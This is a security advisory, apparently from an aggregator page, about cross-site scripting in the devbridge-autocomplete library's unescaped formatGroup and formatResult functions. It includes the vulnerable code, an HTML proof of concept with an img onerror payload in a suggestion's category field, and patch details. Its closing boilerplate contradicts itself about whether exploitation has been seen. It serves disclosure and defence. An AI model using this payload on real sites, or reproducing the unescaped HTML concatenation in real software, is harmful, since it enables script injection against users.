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GHSA-hvqh-jw65-wcpq
No affected components available
Summary
The default formatGroup and formatResult functions in devbridge-autocomplete concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.
Details
1. formatGroup — category is interpolated raw.
src/format.ts:
function formatGroup(suggestion, category) {
return '<div class="autocomplete-group">' + category + '</div>';
}
If groupBy is used and the grouping field of any suggestion contains HTML, that HTML is executed.
2. formatResult — early-return branch returns suggestion.value raw.
src/format.ts:
function formatResult(suggestion, currentValue) {
if (!currentValue) {
return suggestion.value; // un-escaped
}
/* ... non-empty path escapes correctly ... */
}
The early-return branch is reached when suggest() renders with an empty currentValue, which happens with minChars: 0 and a server that returns suggestions for an empty query. The returned string is concatenated into the container's innerHTML.
PoC (formatGroup)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
<input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="dist/jquery.autocomplete.js"></script>
<script>
var poisoned = [
{ value: 'Apple', data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
{ value: 'Avocado', data: { category: 'Safe Group' } }
];
$('#ac').devbridgeAutocomplete({
lookup: poisoned,
groupBy: 'category',
minChars: 1
});
</script>
</body>
</html>
Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.
Impact
XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.
Patch
Both formatters now run their interpolated input through the browser's text-node escaping (createElement + textContent) before producing the HTML string. Fixed in version 2.0.1.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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